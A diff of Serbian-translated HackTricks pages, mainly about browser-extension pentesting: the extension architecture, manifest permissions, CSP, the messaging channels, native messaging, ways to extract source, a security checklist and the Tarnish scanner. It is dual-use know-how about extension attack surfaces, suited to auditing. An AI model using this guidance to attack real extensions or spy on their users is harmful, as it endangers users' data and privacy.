<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
@ -141,10 +141,10 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
<details>
<summary>Podrška HackTricks</summary>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Basic Information
Ekstenzije pretraživača su napisane u JavaScript-u i učitavaju se u pozadini od strane pretraživača. Ima svoj [DOM](https://www.w3schools.com/js/js\_htmldom.asp) ali može da interaguje sa DOM-ovima drugih sajtova. To znači da može ugroziti poverljivost, integritet i dostupnost (CIA) drugih sajtova.
Ekstenzije pregledača su napisane u JavaScript-u i učitavaju se u pozadini od strane pregledača. Ima svoj [DOM](https://www.w3schools.com/js/js\_htmldom.asp) ali može da interaguje sa DOM-ovima drugih sajtova. To znači da može ugroziti poverljivost, integritet i dostupnost (CIA) drugih sajtova.
## Main Components
Izgledi ekstenzije izgledaju najbolje kada su vizualizovani i sastoje se od tri komponente. Pogledajmo svaku komponentu detaljno.
Izgledi ekstenzija izgledaju najbolje kada su vizualizovani i sastoje se od tri komponente. Pogledajmo svaku komponentu detaljno.
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
@ -35,17 +35,17 @@ Jezgro ekstenzije sadrži većinu privilegija/pristupa ekstenzije, ali jezgro ek
### **Native Binary**
Ekstenzija omogućava nativni binarni fajl koji može **pristupiti host mašini sa punim privilegijama korisnika.** Nativni binarni fajl interaguje sa jezgrom ekstenzije putem standardnog Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) koji koriste Flash i drugi browser plug-in-ovi.
Ekstenzija omogućava native binary koji može **pristupiti host mašini sa punim privilegijama korisnika.** Native binary interaguje sa jezgrom ekstenzije putem standardnog Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) koji koriste Flash i drugi pregledački dodaci.
### Boundaries
{% hint style="danger" %}
Da bi dobio pune privilegije korisnika, napadač mora ubediti ekstenziju da prenese zloćudni unos iz sadržajnog skripta u jezgro ekstenzije i iz jezgra ekstenzije u nativni binarni fajl.
Da bi dobio pune privilegije korisnika, napadač mora ubediti ekstenziju da prenese zloćudni unos iz sadržajnog skripta u jezgro ekstenzije i iz jezgra ekstenzije u native binary.
{% endhint %}
Svaka komponenta ekstenzije je odvojena jedna od druge **jakim zaštitnim granicama**. Svaka komponenta se izvršava u **odvojenom procesu operativnog sistema**. Sadržajni skripti i jezgra ekstenzije se izvršavaju u **sandbox procesima** koji nisu dostupni većini usluga operativnog sistema.
Svaka komponenta ekstenzije je odvojena jedna od druge **jakim zaštitnim granicama**. Svaka komponenta se izvršava u **odvojenom procesu operativnog sistema**. Sadržajni skripti i jezgra ekstenzija se izvršavaju u **sandbox procesima** koji nisu dostupni većini usluga operativnog sistema.
Štaviše, sadržajni skripti su odvojeni od svojih povezanih web stranica **izvršavanjem u odvojenom JavaScript heap-u**. Sadržajni skript i web stranica imaju **pristup istom osnovnom DOM-u**, ali se njih dvoje **nikada ne razmenjuju JavaScript pokazivače**, sprečavajući curenje JavaScript funkcionalnosti.
Štaviše, sadržajni skripti su odvojeni od svojih povezanih web stranica **izvršavanjem u odvojenom JavaScript heap-u**. Sadržajni skript i web stranica imaju **pristup istom osnovnom DOM-u**, ali se dva **nikada ne razmenjuju JavaScript pokazivače**, sprečavajući curenje JavaScript funkcionalnosti.
## **`manifest.json`**
@ -119,8 +119,8 @@ document.body.appendChild(div);
Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se pritisne ovaj dugme, korišćenjem [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). To je zbog ograničenja sadržajnog skripta u direktnom pristupu API-ima, pri čemu je `storage` jedan od retkih izuzetaka. Za funkcionalnosti izvan ovih izuzetaka, poruke se šalju na stranice ekstenzije sa kojima sadržajni skripti mogu komunicirati.
{% hint style="warning" %}
U zavisnosti od pregledača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pregledače zasnovane na Chromium-u, lista mogućnosti je dostupna u [Chrome Developers dokumentaciji](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) služi kao primarni izvor.\
Takođe je važno napomenuti da sadržajni skripti imaju sposobnost da komuniciraju sa pozadinskim skriptima, omogućavajući im da izvršavaju radnje i prenose odgovore nazad.
U zavisnosti od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti je dostupna u [Chrome Developers dokumentaciji](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) služi kao primarni izvor.\
Takođe je važno napomenuti da sadržajni skripti imaju sposobnost da komuniciraju sa pozadinskim skriptima, omogućavajući im da izvršavaju radnje i vraćaju odgovore.
{% endhint %}
Za pregledanje i debagovanje sadržajnih skripti u Chrome-u, meni alata za programere može se pristupiti iz Opcije > Više alata > Alati za programere ili pritiskom na Ctrl + Shift + I.
@ -133,7 +133,7 @@ Kada se prikažu alati za programere, treba kliknuti na **Source tab**, a zatim
Napomena: **Sadržajni skripti nisu obavezni** jer je takođe moguće **dinamički** **umetati** skripte i **programatski ih umetati** na web stranice putem **`tabs.executeScript`**. Ovo zapravo pruža više **granularnih kontrola**.
{% endhint %}
Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte umetaju. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifest fajla ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) za stranicu u koju se skripte umetnu. Ove dozvole mogu se obezbediti ili **zahtevom** unutar manifest-a ekstenzije ili privremeno putem [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Primer ekstenzije zasnovane na activeTab
@ -156,7 +156,7 @@ Za programatsko umetanje sadržajnog skripta, ekstenzija mora imati [host permis
```
{% endcode %}
* **Ubacite JS datoteku na klik:**
* **Umetnite JS datoteku na klik:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange";
@ -205,7 +205,7 @@ Polje `run_at` kontroliše **kada se JavaScript datoteke ubacuju u web stranicu*
Moguće vrednosti su:
* **`document_idle`**: Kada god je to moguće
* **`document_start`**: Nakon bilo kojih datoteka iz `css`, ali pre nego što se konstruira bilo koji drugi DOM ili se pokrene bilo koji drugi skript.
* **`document_start`**: Nakon bilo kojih datoteka iz `css`, ali pre nego što se izgradi bilo koji drugi DOM ili se pokrene bilo koja druga skripta.
* **`document_end`**: Odmah nakon što je DOM završen, ali pre nego što se učitaju podresursi poput slika i okvira.
#### Via `manifest.json`
@ -224,7 +224,7 @@ Moguće vrednosti su:
}
```
Putem **`service-worker.js`**
Via **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([{
id : "test",
@ -267,20 +267,20 @@ Da biste debagovali pozadinski skript, možete otići na **detalje ekstenzije i
Ekstenzije pretraživača mogu sadržati razne vrste stranica:
* **Akcione stranice** se prikazuju u **ispod kada se klikne na ikonu ekstenzije**.
* **Akcione stranice** se prikazuju u **ispod menija kada se klikne na ikonu ekstenzije**.
* Stranice koje će ekstenzija **učitati u novoj kartici**.
* **Opcione stranice**: Ova stranica se prikazuje na vrhu ekstenzije kada se klikne. U prethodnom manifestu, u mom slučaju, mogao sam da pristupim ovoj stranici u `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ili klikom:
* **Opcione stranice**: Ova stranica se prikazuje na vrhu ekstenzije kada se klikne. U prethodnom manifestu, u mom slučaju, mogao sam da pristupim ovoj stranici na `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ili klikom:
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Napomena da ove stranice nisu trajne kao pozadinske stranice jer dinamički učitavaju sadržaj po potrebi. I pored toga, dele određene mogućnosti sa pozadinskom stranicom:
* **Komunikacija sa sadržajnim skriptama:** Slično pozadinskoj stranici, ove stranice mogu primati poruke od sadržajnih skripti, olakšavajući interakciju unutar ekstenzije.
* **Pristup API-jevima specifičnim za ekstenziju:** Ove stranice uživaju sveobuhvatan pristup API-jevima specifičnim za ekstenziju, podložnim dozvolama definisanim za ekstenziju.
* **Pristup API-ima specifičnim za ekstenziju:** Ove stranice uživaju sveobuhvatan pristup API-ima specifičnim za ekstenziju, podložnim dozvolama definisanim za ekstenziju.
### `permissions` & `host_permissions`
**`permissions`** i **`host_permissions`** su unosi iz `manifest.json` koji će označiti **koje dozvole** ekstenzija pretraživača ima (skladištenje, lokacija...) i u **koje web stranice**.
**`permissions`** i **`host_permissions`** su unosi iz `manifest.json` koji će označiti **koje dozvole** ekstenzija pretraživača ima (smeštaj, lokacija...) i u **koje web stranice**.
Kako ekstenzije pretraživača mogu biti tako **privilegovane**, zlonamerna ili kompromitovana ekstenzija mogla bi omogućiti napadaču **različite načine da ukrade osetljive informacije i špijunira korisnika**.
@ -294,7 +294,7 @@ Proverite kako ove postavke funkcionišu i kako bi mogle biti zloupotrebljene u:
**Politika bezbednosti sadržaja** može biti deklarisana i unutar `manifest.json`. Ako je jedna definisana, mogla bi biti **ranjiva**.
Podrazumevana postavka za stranice ekstenzije pretraživača je prilično restriktivna:
Podrazumevana postavka za stranice ekstenzija pretraživača je prilično restriktivna:
```bash
script-src 'self'; object-src 'self';
```
@ -360,7 +360,7 @@ Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest
* Ako ključ **`externally_connectable`** **nije** deklarisan u manifestu vaše ekstenzije ili je deklarisan kao **`"ids": ["*"]`**, **sve ekstenzije mogu da se povežu, ali nijedna web stranica ne može da se poveže**.
* Ako su **specifični ID-ovi navedeni**, kao u `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **samo te aplikacije** mogu da se povežu.
* Ako su **match-ovi** navedeni, te web aplikacije će moći da se povežu:
* Ako su **podudaranja** navedena, te web aplikacije će moći da se povežu:
```json
"matches": [
"https://*.google.com/*",
@ -382,13 +382,13 @@ Stoga, ovo je **veoma moćan zaobilazni način**.
### Ekstenzija <--> WebApp
Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete pronaći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete naći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
### Unutar ekstenzije
Obično se funkcija **`chrome.runtime.sendMessage`** koristi za slanje poruke unutar ekstenzije (obično obrađuje `background` skript) i da bi je primila i obradila, deklarisan je slušalac koji poziva **`chrome.runtime.onMessage.addListener`**.
Takođe je moguće koristiti **`chrome.runtime.connect()`** da se uspostavi postojana veza umesto slanja pojedinačnih poruka, moguće je koristiti je za **slanje** i **prijem** **poruka** kao u sledećem primeru:
Takođe je moguće koristiti **`chrome.runtime.connect()`** da se uspostavi postojana veza umesto slanja pojedinačnih poruka, moguće je koristiti je da **pošalje** i **primi** **poruke** kao u sledećem primeru:
<details>
@ -441,9 +441,9 @@ console.log('Received ' + response);
}
);
```
## Web **↔︎** Komunikacija između sadržajnih skripti
## Web **↔︎** Komunikacija Skripti za Sadržaj
Okruženja u kojima **sadržajne skripte** funkcionišu i gde postoje host stranice su **odvojena** jedno od drugog, obezbeđujući **izolaciju**. I pored ove izolacije, oba imaju sposobnost da interaguju sa **Document Object Model (DOM)** stranice, zajedničkim resursom. Da bi host stranica mogla da komunicira sa **sadržajnom skriptom**, ili indirektno sa ekstenzijom putem sadržajne skripte, potrebno je koristiti **DOM** koji je dostupan obe strane kao komunikacioni kanal.
Okruženja u kojima **skripti za sadržaj** funkcionišu i gde postoje host stranice su **odvojena** jedno od drugog, obezbeđujući **izolaciju**. I pored ove izolacije, oba imaju sposobnost da interaguju sa **Modelom Objekta Dokumenta (DOM)** stranice, zajedničkim resursom. Da bi host stranica mogla da komunicira sa **skriptom za sadržaj**, ili indirektno sa ekstenzijom putem skripte za sadržaj, potrebno je koristiti **DOM** koji je dostupan obe strane kao komunikacioni kanal.
### Post Poruke
@ -512,7 +512,7 @@ Takođe možete pronaći primer **DOM baziranog XSS-a za kompromitovanje ekstenz
Sadržajni Skript može koristiti funkcije [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ili** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) za slanje **jednokratne JSON-serializovane** poruke.
Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazadnu kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument.
Da biste obradili **odgovor**, koristite vraćeni **Promise**. Iako, za unazad kompatibilnost, još uvek možete proslediti **callback** kao poslednji argument.
Slanje zahteva iz **sadržajnog skripta** izgleda ovako:
```javascript
@ -545,11 +545,11 @@ sendResponse({farewell: "goodbye"});
}
);
```
U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` događaj za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`.
U istaknutom primeru, **`sendResponse()`** je izvršen na sinhroni način. Da bi se modifikovao `onMessage` handler za asinhrono izvršavanje `sendResponse()`, neophodno je uključiti `return true;`.
Važna stvar koju treba uzeti u obzir je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno dostaviti odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir.
Važna stvar je da u scenarijima gde više stranica treba da prime `onMessage` događaje, **prva stranica koja izvrši `sendResponse()`** za određeni događaj će biti jedina koja može efikasno da isporuči odgovor. Svi naredni odgovori na isti događaj neće biti uzeti u obzir.
Kada se kreiraju nove ekstenzije, prednost bi trebala biti na promenama umesto na povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako događaj handler označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je funkcija `sendResponse()` uklonjena iz memorije (sakupljena smeća), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati.
Kada se kreiraju nove ekstenzije, prednost treba dati promenama umesto povratnim pozivima. Što se tiče korišćenja povratnih poziva, `sendResponse()` funkcija se smatra validnom samo ako se izvršava direktno unutar sinhronog konteksta, ili ako handler događaja označava asinhronu operaciju vraćanjem `true`. Ako nijedan od handlera ne vrati `true` ili ako je funkcija `sendResponse()` uklonjena iz memorije (garbage-collected), povratni poziv povezan sa `sendMessage()` funkcijom će se podrazumevano aktivirati.
## Native Messaging
@ -563,12 +563,12 @@ Ekstenzije pretraživača takođe omogućavaju komunikaciju sa **binarima u sist
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Gde je `name` string koji se prosleđuje [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ili [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) za komunikaciju sa aplikacijom iz pozadinskih skripti ekstenzije pregledača. `path` je putanja do binarnog fajla, postoji samo 1 važeći `type` koji je stdio (koristi stdin i stdout) i `allowed_origins` označava ekstenzije koje mogu da mu pristupe (i ne mogu imati wildcard).
Gde je `name` string koji se prosleđuje [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ili [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) za komunikaciju sa aplikacijom iz pozadinskih skripti ekstenzije pretraživača. `path` je putanja do binarnog fajla, postoji samo 1 važeći `type` koji je stdio (koristi stdin i stdout) i `allowed_origins` označava ekstenzije koje mogu da mu pristupe (i ne mogu imati wildcard).
Chrome/Chromium će tražiti ovaj json u nekim registrima sistema i nekim putanjama u macOS i Linux (više informacija u [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
{% hint style="success" %}
Ekstenzija pregledača takođe treba da ima dozvolu `nativeMessaing` deklarisanu kako bi mogla da koristi ovu komunikaciju.
Ekstenzija pretraživača takođe treba da ima dozvolu `nativeMessaing` deklarisanu kako bi mogla da koristi ovu komunikaciju.
{% endhint %}
Ovako izgleda neki kod pozadinske skripte koji šalje poruke native aplikaciji:
@ -631,22 +631,22 @@ unzip -d "$extension_id-source" "$extension_id.zip"
### Koristite CRX Viewer ekstenziju
Još jedna pogodna metoda je korišćenje Chrome Extension Source Viewer, koji je open-source projekat. Može se instalirati iz [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Izvorni kod pregledača je dostupan u njegovom [GitHub repozitorijumu](https://github.com/Rob--W/crxviewer).
Još jedna pogodna metoda je korišćenje Chrome Extension Source Viewer, koji je projekat otvorenog koda. Može se instalirati iz [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Izvorni kod pregledača je dostupan u njegovom [GitHub repozitorijumu](https://github.com/Rob--W/crxviewer).
### Pregledajte izvor lokalno instalirane ekstenzije
Chrome ekstenzije instalirane lokalno takođe se mogu pregledati. Evo kako:
1. Pristupite svom lokalnom Chrome profilu tako što ćete posetiti `chrome://version/` i pronaći polje "Profile Path".
1. Pristupite svom lokalnom profilu Chrome-a tako što ćete posetiti `chrome://version/` i pronaći polje "Profile Path".
2. Idite u podfolder `Extensions/` unutar direktorijuma profila.
3. Ovaj folder sadrži sve instalirane ekstenzije, obično sa njihovim izvorom u čitljivom formatu.
3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorom u čitljivom formatu.
Da biste identifikovali ekstenzije, možete mapirati njihove ID-eve na imena:
* Omogućite Developer Mode na stranici `about:extensions` da biste videli ID-eve svake ekstenzije.
* Unutar foldera svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što pomaže u identifikaciji ekstenzije.
* Unutar fascikle svake ekstenzije, datoteka `manifest.json` sadrži čitljivo polje `name`, što pomaže u identifikaciji ekstenzije.
### Koristite arhivator ili raspakivač datoteka
### Koristite arhivator ili raspakivač
Idite na Chrome Web Store i preuzmite ekstenziju. Datoteka će imati ekstenziju `.crx`. Promenite ekstenziju datoteke sa `.crx` na `.zip`. Koristite bilo koji arhivator (kao što su WinRAR, 7-Zip, itd.) da biste raspakovali sadržaj ZIP datoteke.
@ -654,9 +654,9 @@ Idite na Chrome Web Store i preuzmite ekstenziju. Datoteka će imati ekstenziju
Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u gornjem desnom uglu. Kliknite na "Load unpacked extension...". Idite do direktorijuma vaše ekstenzije. Ovo ne preuzima izvorni kod, ali je korisno za pregledanje i modifikovanje koda već preuzete ili razvijene ekstenzije.
## Skup podataka manifest ekstenzija za Chrome
## Skup podataka o manifestu Chrome ekstenzije
Da biste pokušali da pronađete ranjive ekstenzije za pretraživač, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
Da biste pokušali da uočite ranjive ekstenzije pretraživača, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
{% code overflow="wrap" %}
```bash
@ -665,22 +665,22 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
```
{% endcode %}
## Lista za bezbednosnu reviziju
## Lista provere bezbednosti
Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke od njih mogu sadržati **ranjivosti** ili **potencijalna poboljšanja sigurnosti**. Sledeće su najčešće:
* [ ] **Ograničite** koliko je moguće tražene **`dozvole`**
* [ ] **Ograničite** koliko je moguće **`host_permissions`**
* [ ] Koristite **jaku** **`content_security_policy`**
* [ ] **Ograničite** koliko je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljajte ga podrazumevano, navedite **`{}`**
* [ ] Ako je ovde navedena **URL ranjiva na XSS ili preuzimanje**, napadač će moći da **šalje poruke pozadinskim skriptama direktno**. Veoma moćan zaobilaženje.
* [ ] **Ograničite** koliko je moguće **`web_accessible_resources`**, čak i prazne ako je moguće.
* [ ] Ako **`web_accessible_resources`** nije prazan, proverite [**ClickJacking**](browext-clickjacking.md)
* [ ] Ako se bilo koja **komunikacija** odvija od **ekstenzije** do **web stranice**, [**proverite za XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji.
* [ ] Ako se koriste Post Messages, proverite [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.**
* [ ] Ako **Content Script pristupa DOM detaljima**, proverite da li **ne uvode XSS** ako ih web **modifikuje**
* [ ] Posebno naglasite ako je ova komunikacija takođe uključena u **Content Script -> komunikaciju pozadinske skripte**
* [ ] Ako pozadinska skripta komunicira putem **native messaging**, proverite da li je komunikacija sigurna i sanirana
* [ ] **Ograničiti** koliko je moguće tražene **`dozvole`**
* [ ] **Ograničiti** koliko je moguće **`host_permissions`**
* [ ] Koristiti **jaku** **`content_security_policy`**
* [ ] **Ograničiti** koliko je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljati ga podrazumevano, specificirati **`{}`**
* [ ] Ako je ovde pomenut **URL ranjiv na XSS ili preuzimanje**, napadač će moći da **šalje poruke pozadinskim skriptama direktno**. Veoma moćan zaobilaženje.
* [ ] **Ograničiti** koliko je moguće **`web_accessible_resources`**, čak i prazno ako je moguće.
* [ ] Ako **`web_accessible_resources`** nije nijedno, proveriti [**ClickJacking**](browext-clickjacking.md)
* [ ] Ako se bilo koja **komunikacija** dešava od **ekstenzije** do **web stranice**, [**proveriti XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji.
* [ ] Ako se koriste Post Messages, proveriti [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.**
* [ ] Ako **Content Script pristupa DOM detaljima**, proveriti da li **ne uvode XSS** ako ih web **modifikuje**
* [ ] Posebno naglasiti ako je ova komunikacija takođe uključena u **Content Script -> komunikaciju pozadinske skripte**
* [ ] Ako pozadinska skripta komunicira putem **native messaging**, proveriti da li je komunikacija sigurna i sanirana
* [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar koda ekstenzije za pretraživač
* [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar memorije ekstenzije za pretraživač
* [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **datotečnog sistema nezaštićeno**
@ -695,22 +695,22 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
* **Potencijalna analiza Clickjacking-a**: Detekcija HTML stranica ekstenzije sa postavljenom direktivom [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources). Ove su potencijalno ranjive na clickjacking u zavisnosti od svrhe stranica.
* **Pregledač upozorenja o dozvolama**: koji prikazuje listu svih upozorenja o dozvolama Chrome-a koja će biti prikazana kada korisnik pokuša da instalira ekstenziju.
* **Opasne funkcije**: prikazuje lokaciju opasnih funkcija koje bi potencijalno mogle biti iskorišćene od strane napadača (npr. funkcije kao što su innerHTML, chrome.tabs.executeScript).
* **Ulazne tačke**: prikazuje gde ekstenzija prima korisnički/eksterni ulaz. Ovo je korisno za razumevanje površine ekstenzije i traženje potencijalnih tačaka za slanje zlonamerno oblikovanih podataka ekstenziji.
* **Ulazne tačke**: prikazuje gde ekstenzija prima korisnički/eksterni unos. Ovo je korisno za razumevanje površine ekstenzije i traženje potencijalnih tačaka za slanje zlonamerno oblikovanih podataka ekstenziji.
* I skeneri Opasnih funkcija i Ulaznih tačaka imaju sledeće za svoje generisane alarme:
* Relevantni deo koda i linija koja je izazvala alarm.
* Opis problema.
* Dugme "Pogledaj datoteku" za pregled celokupne izvorne datoteke koja sadrži kod.
* Putanja alarmirane datoteke.
* Potpuni URI Chrome ekstenzije alarmirane datoteke.
* Tip datoteke, kao što su skripta pozadinske stranice, sadržajna skripta, akcija pretraživača, itd.
* Ako je ranjiva linija u JavaScript datoteci, putanje svih stranica gde je uključena kao i tip ovih stranica, i status [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
* Tip datoteke, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd.
* Ako je ranjiva linija u JavaScript datoteci, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) status.
* **Analizator Content Security Policy (CSP) i proveravač zaobilaženja**: Ovo će ukazati na slabosti u CSP-u vaše ekstenzije i takođe će osvetliti sve potencijalne načine zaobilaženja vašeg CSP-a zbog belih lista CDN-ova, itd.
* **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri bilo kakvu upotrebu poznatih ranjivih JavaScript biblioteka.
* Preuzmite ekstenziju i formatirane verzije.
* Preuzmite originalnu ekstenziju.
* Preuzmite ulepšanu verziju ekstenzije (automatski formatiran HTML i JavaScript).
* **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri da li se koriste poznate ranjive JavaScript biblioteke.
* Preuzimanje ekstenzije i formatiranih verzija.
* Preuzimanje originalne ekstenzije.
* Preuzimanje ulepšane verzije ekstenzije (automatski formatiran HTML i JavaScript).
* Automatsko keširanje rezultata skeniranja, pokretanje skeniranja ekstenzije će potrajati neko vreme prvi put kada ga pokrenete. Međutim, drugi put, pod pretpostavkom da ekstenzija nije ažurirana, biće gotovo instant zbog keširanih rezultata.
* Linkabilni URL-ovi izveštaja, lako povežite nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
* Linkabilni URL-ovi izveštaja, lako povezati nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
### [Neto](https://github.com/elevenpaths/neto)

View file

@ -1,8 +1,8 @@
# CSRF (Cross Site Request Forgery)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
